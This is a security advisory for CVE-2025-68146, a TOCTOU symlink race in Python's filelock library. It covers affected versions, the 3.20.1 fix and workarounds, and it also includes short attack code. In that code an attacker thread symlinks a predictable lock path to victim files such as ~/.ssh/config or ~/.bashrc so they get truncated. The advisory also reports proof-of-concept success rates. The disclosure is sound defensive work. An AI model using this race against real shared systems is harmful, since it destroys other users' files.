ghsa-w853-jp5j-5j7f
Vulnerability from github
Impact
A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.
Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
- virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
- PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
- poetry/tox users: through using virtualenv or filelock on their own.
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.
Patches
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.
Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().
Users should upgrade to filelock 3.20.1 or later immediately.
Workarounds
If immediate upgrade is not possible:
- Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
- Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
- Monitor lock file directories for suspicious symlinks before running trusted applications
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
Technical Details: How the Exploit Works
The Vulnerable Code Pattern
Unix/Linux/macOS (src/filelock/_unix.py:39-44):
python
def _acquire(self) -> None:
ensure_directory_exists(self.lock_file)
open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate
if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?
open_flags |= os.O_CREAT
fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate
Windows (src/filelock/_windows.py:19-28):
python
def _acquire(self) -> None:
raise_on_not_writable_file(self.lock_file) # (1) Check writability
ensure_directory_exists(self.lock_file)
flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate
fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate
The Race Window
The vulnerability exists in the gap between operations:
Unix variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file exists? → False
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
Windows variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file writable?
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink/junction
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
Step-by-Step Attack Flow
1. Attacker Setup:
```python
Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ```
2. Attacker Creates Race Condition:
```python import os import threading
def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass
# Create symlink pointing to victim file
os.symlink(victim_file, lock_path)
print(f"[Attacker] Created: {lock_path} → {victim_file}")
Launch attack
threading.Thread(target=attacker_thread).start() ```
3. Victim Application Runs:
```python from filelock import UnixFileLock
Normal application code
lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE
At this point, /home/victim/.ssh/config is now 0 bytes!
```
4. What Happens Inside os.open():
On Unix systems, when os.open() is called:
```c // Linux kernel behavior (simplified) int open(const char pathname, int flags) { struct file f = path_lookup(pathname); // Resolves symlinks by default!
if (flags & O_TRUNC) {
truncate_file(f); // ← Truncates the TARGET of the symlink
}
return file_descriptor;
} ```
Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.
Why the Attack Succeeds Reliably
Timing Characteristics:
- Check operation (Path.exists()): ~100-500 nanoseconds
- Symlink creation (os.symlink()): ~1-10 microseconds
- Race window: ~1-5 microseconds (very small but exploitable)
- Thread scheduling quantum: ~1-10 milliseconds
Success factors:
- Tight loop: Running attack in a loop hits the race window within 1-3 attempts
- CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
- No synchronization: No atomic file creation prevents the race
- Symlink speed: Creating symlinks is extremely fast (metadata-only operation)
Real-World Attack Scenarios
Scenario 1: virtualenv Exploitation
```python
Victim runs: python -m venv /tmp/myenv
Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")
Result: /home/victim/.bashrc overwritten with:
home = /usr/bin/python3
include-system-site-packages = false
version = 3.11.2
← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```
Scenario 2: PyTorch Cache Poisoning
```python
Victim runs: import torch
PyTorch checks CPU capabilities, uses filelock on cache
Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")
Result: Trained ML model checkpoint truncated to 0 bytes
Impact: Weeks of training lost, ML pipeline DoS
```
Why Standard Defenses Don't Help
File permissions don't prevent this:
- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the victim's permissions
- The victim process truncates its own file
Directory permissions help but aren't always feasible:
- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories
File locking doesn't prevent this:
- The truncation happens during the open() call, before any lock is acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks
Exploitation Proof-of-Concept Results
From empirical testing with the provided PoCs:
Simple Direct Attack (filelock_simple_poc.py):
- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms
virtualenv Attack (weaponized_virtualenv.py):
- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents
PyTorch Attack (weaponized_pytorch.py):
- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining
Discovered and reported by: George Tsigourakos (@tsigouris007)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "filelock"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.20.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68146"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T20:52:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -\u003e None:\n ensure_directory_exists(self.lock_file)\n open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate\n if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?\n open_flags |= os.O_CREAT\n fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -\u003e None:\n raise_on_not_writable_file(self.lock_file) # (1) Check writability\n ensure_directory_exists(self.lock_file)\n flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate\n fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file exists? \u2192 False\nT1 \u2193 RACE WINDOW\nT2 Create symlink: lock \u2192 victim_file\nT3 Open lock_file with O_TRUNC\n \u2192 Follows symlink\n \u2192 Opens victim_file\n \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n**Windows variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file writable?\nT1 \u2193 RACE WINDOW\nT2 Create symlink: lock \u2192 victim_file\nT3 Open lock_file with O_TRUNC\n \u2192 Follows symlink/junction\n \u2192 Opens victim_file\n \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\" # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\" # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n # Remove any existing lock file\n try:\n os.unlink(lock_path)\n except FileNotFoundError:\n pass\n\n # Create symlink pointing to victim file\n os.symlink(victim_file, lock_path)\n print(f\"[Attacker] Created: {lock_path} \u2192 {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire() # \u2190 VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n struct file *f = path_lookup(pathname); // Resolves symlinks by default!\n\n if (flags \u0026 O_TRUNC) {\n truncate_file(f); // \u2190 Truncates the TARGET of the symlink\n }\n\n return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# \u2190 Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don\u0027t Help\n\n**File permissions don\u0027t prevent this:**\n\n- Attacker doesn\u0027t need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim\u0027s* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren\u0027t always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn\u0027t prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\\u003c100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: File paths, Python version, system configuration\n- Data corruption: Complete loss of original file contents\n\n**PyTorch Attack** (`weaponized_pytorch.py`):\n\n- Success rate: 25-40% per attempt\n- Impact: Application crashes, model loading failures\n- Recovery: Requires cache rebuild or model retraining\n\n**Discovered and reported by:** George Tsigourakos (@tsigouris007)",
"id": "GHSA-w853-jp5j-5j7f",
"modified": "2025-12-16T20:52:55Z",
"published": "2025-12-16T20:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"
},
{
"type": "PACKAGE",
"url": "https://github.com/tox-dev/filelock"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/releases/tag/3.20.1"
},
{
"type": "WEB",
"url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants"
},
{
"type": "WEB",
"url": "https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "filelock has a TOCTOU race condition which allows symlink attacks during lock file creation"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.